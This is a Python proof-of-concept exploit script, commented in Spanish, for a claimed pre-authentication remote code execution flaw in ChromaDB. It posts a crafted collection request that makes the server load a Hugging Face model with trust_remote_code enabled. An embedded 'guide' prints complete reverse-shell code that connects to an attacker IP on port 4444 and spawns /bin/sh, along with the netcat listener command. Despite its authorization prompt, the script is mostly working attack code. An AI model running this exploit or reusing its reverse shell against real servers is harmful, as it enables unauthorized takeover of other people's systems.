#!/usr/bin/env python3 """ CVE-2026-45829 - ChromaDB Pre-Auth RCE via Malicious Model Loading ================================================================== Vulnerabilidad CRÍTICA (CVSS 10.0) en ChromaDB < 1.5.9 Descripción: Un atacante no autenticado puede ejecutar código arbitrario en servidores ChromaDB explotando el endpoint /api/v2/tenants/{tenant}/databases/{db}/collections cargando un modelo malicioso desde Hugging Face con trust_remote_code=true Author: Security Research Date: 2026-05-20 CVSS: 10.0 CRITICAL """ import requests import json import sys import argparse import time import uuid class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' PURPLE = '\033[95m' CYAN = '\033[96m' BOLD = '\033[1m' END = '\033[0m' def print_banner(): banner = f""" {Colors.RED}{Colors.BOLD} ╔═══════════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-45829 - ChromaDB Pre-Auth RCE (CVSS 10.0) ║ ║ Code Injection via Malicious Model Loading from Hugging Face ║ ╚═══════════════════════════════════════════════════════════════════════════╝ {Colors.END} """ print(banner) def check_chromadb_version(target_url): """Verifica la versión de ChromaDB y si es vulnerable""" try: # Intentar obtener versión resp = requests.get(f"{target_url}/api/v2/version", timeout=10) if resp.status_code == 200: version = resp.text.strip() print(f"{Colors.CYAN}[*] Versión detectada: {version}{Colors.END}") # Versiones vulnerables: 1.0.0 hasta 1.5.8 if version >= "1.0.0" and version < "1.5.9": print(f"{Colors.RED}[!] Versión VULNERABLE{Colors.END}") return True else: print(f"{Colors.GREEN}[✓] Versión SEGURA (>= 1.5.9){Colors.END}") return False except: print(f"{Colors.YELLOW}[!] No se pudo determinar la versión{Colors.END}") return True # Asumir vulnerable si no se puede verificar def create_malicious_collection(target_url, tenant="default_tenant", database="default_database"): """ Crea una colección maliciosa que carga un modelo desde Hugging Face con trust_remote_code=true, permitiendo ejecución de código arbitrario. """ # Endpoint vulnerable (autenticación se verifica DESPUÉS de cargar el modelo) endpoint = f"{target_url}/api/v2/tenants/{tenant}/databases/{database}/collections" # Colección con configuración maliciosa # El modelo puede contener código arbitrario que se ejecutará al cargarse collection_name = f"malicious_{uuid.uuid4().hex[:8]}" # Hugging Face repo que contiene código malicioso # NOTA: Este es un ejemplo. En un ataque real, el atacante subiría su propio modelo malicious_model_repo = "https://huggingface.co/malicious-repo/backdoor-model" payload = { "name": collection_name, "metadata": { "hnsw:space": "cosine", "embedding_function": { "name": "huggingface", "config": { "model_name": malicious_model_repo, "trust_remote_code": True, # ← CRÍTICO: permite ejecutar código "device": "cpu" } } } } print(f"{Colors.CYAN}[*] Creando colección maliciosa: {collection_name}{Colors.END}") print(f"{Colors.YELLOW}[*] Modelo malicioso: {malicious_model_repo}{Colors.END}") print(f"{Colors.YELLOW}[*] trust_remote_code = True{Colors.END}") try: # Enviar solicitud - la autenticación se verifica DESPUÉS de cargar el modelo response = requests.post( endpoint, json=payload, headers={"Content-Type": "application/json"}, timeout=30 ) print(f"{Colors.CYAN}[*] Código de respuesta: {response.status_code}{Colors.END}") if response.status_code == 500: # Error 500 indica que el modelo se cargó pero la autenticación falló # Esto significa que el código MALICIOSO YA SE EJECUTÓ print(f"{Colors.RED}{Colors.BOLD}[!] ¡EXPLOTACIÓN EXITOSA!{Colors.END}") print(f"{Colors.RED}[!] El modelo malicioso fue cargado y ejecutado{Colors.END}") print(f"{Colors.RED}[!] El código arbitrario ya se ejecutó en el servidor{Colors.END}") return True elif response.status_code == 200: print(f"{Colors.GREEN}[+] Colección creada exitosamente{Colors.END}") print(f"{Colors.GREEN}[+] El código malicioso fue ejecutado{Colors.END}") return True else: print(f"{Colors.YELLOW}[?] Respuesta inesperada: {response.text[:200]}{Colors.END}") except requests.exceptions.ConnectionError: print(f"{Colors.RED}[-] Error de conexión al objetivo{Colors.END}") except Exception as e: print(f"{Colors.RED}[-] Error: {e}{Colors.END}") return False def create_backdoor_model_on_huggingface(): """ Guía para crear un modelo malicioso en Hugging Face Esto es educativo - NO se ejecuta automáticamente """ print(f"\n{Colors.YELLOW}{'='*60}{Colors.END}") print(f"{Colors.BOLD}[*] ¿Cómo crear un modelo malicioso en Hugging Face?{Colors.END}") print(f"{Colors.YELLOW}{'='*60}{Colors.END}") print(f""" {Colors.CYAN}1. Crear un repositorio en Hugging Face{Colors.END} git clone https://huggingface.co/new-repo/malicious-model cd malicious-model {Colors.CYAN}2. Crear archivo config.json malicioso:{Colors.END} {{ "architectures": ["CustomModel"], "trust_remote_code": true, "auto_map": {{ "AutoModel": "modeling_custom.CustomModel" }} }} {Colors.CYAN}3. Crear modeling_custom.py con código malicioso:{Colors.END} import os import socket import subprocess class CustomModel: def __init__(self, **kwargs): # Reverse shell host = "10.0.0.1" # IP del atacante port = 4444 # Puerto del atacante s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) {Colors.CYAN}4. Subir a Hugging Face:{Colors.END} git add config.json modeling_custom.py git commit -m "Custom model" git push """) def main(): parser = argparse.ArgumentParser( description='CVE-2026-45829 - ChromaDB Pre-Auth RCE PoC', epilog='Ejemplo: python cve_2026_45829_poc.py http://target.com:8000' ) parser.add_argument('target', help='URL del servidor ChromaDB vulnerable') parser.add_argument('--tenant', default='default_tenant', help='Tenant name (default: default_tenant)') parser.add_argument('--database', default='default_database', help='Database name (default: default_database)') parser.add_argument('--no-check', action='store_true', help='Saltar verificación de versión') parser.add_argument('--create-model', action='store_true', help='Mostrar guía para crear modelo malicioso') args = parser.parse_args() print_banner() # Mostrar advertencia legal print(f"{Colors.RED}{Colors.BOLD}[!] ADVERTENCIA: Esta PoC es solo para pruebas autorizadas{Colors.END}") print(f"{Colors.RED}[!] El uso no autorizado es ILEGAL{Colors.END}") response = input(f"\n{Colors.YELLOW}¿Tienes autorización para probar este objetivo? (yes/no): {Colors.END}") if response.lower() != 'yes': print(f"{Colors.RED}[-] Saliendo...{Colors.END}") sys.exit(0) # Normalizar URL target = args.target.rstrip('/') if not target.startswith(('http://', 'https://')): target = 'http://' + target print(f"\n{Colors.CYAN}[*] Objetivo: {target}{Colors.END}") # Verificar vulnerabilidad if not args.no_check: print(f"\n{Colors.CYAN}[*] Verificando versión...{Colors.END}") if not check_chromadb_version(target): print(f"{Colors.GREEN}[✓] El objetivo parece parchado. Saliendo...{Colors.END}") sys.exit(0) # Mostrar guía para crear modelo if args.create_model: create_backdoor_model_on_huggingface() return # Ejecutar exploit print(f"\n{Colors.CYAN}[*] Iniciando explotación...{Colors.END}") print(f"{Colors.YELLOW}[*] Endpoint vulnerable: /api/v2/tenants/{{tenant}}/databases/{{db}}/collections{Colors.END}") print(f"{Colors.YELLOW}[*] La autenticación se verifica DESPUÉS de cargar el modelo{Colors.END}") print(f"{Colors.YELLOW}[*] El código malicioso se ejecutará aunque la autenticación falle{Colors.END}") success = create_malicious_collection(target, args.tenant, args.database) if success: print(f"\n{Colors.RED}{Colors.BOLD}{'='*60}{Colors.END}") print(f"{Colors.RED}{Colors.BOLD}¡EXPLOTACIÓN EXITOSA!{Colors.END}") print(f"{Colors.RED}{Colors.BOLD}{'='*60}{Colors.END}") print(f""" {Colors.YELLOW}El código malicioso fue ejecutado en el servidor. Si configuraste un reverse shell, deberías recibir una conexión. Para preparar el listener: nc -lvnp 4444 Para más información: - Reporte completo: https://www.hiddenlayer.com/research/chromatoast-served-pre-auth - GitHub Issue: https://github.com/chroma-core/chroma/issues/6717 {Colors.END}""") else: print(f"\n{Colors.YELLOW}[!] La explotación pudo haber fallado.{Colors.END}") print(f"{Colors.YELLOW}[!] Verifica que el objetivo esté ejecutando una versión vulnerable (1.0.0-1.5.8){Colors.END}") if __name__ == "__main__": try: import requests except ImportError: print(f"{Colors.RED}[-] Instala requests: pip install requests{Colors.END}") sys.exit(1) main()